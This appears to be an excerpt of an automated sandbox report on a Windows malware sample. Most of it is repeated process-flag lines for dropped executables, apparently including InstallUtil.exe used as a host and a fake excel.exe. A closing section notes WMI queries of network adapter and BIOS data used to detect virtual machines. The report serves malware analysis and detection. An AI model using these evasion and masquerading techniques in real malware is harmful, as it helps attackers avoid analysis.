Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
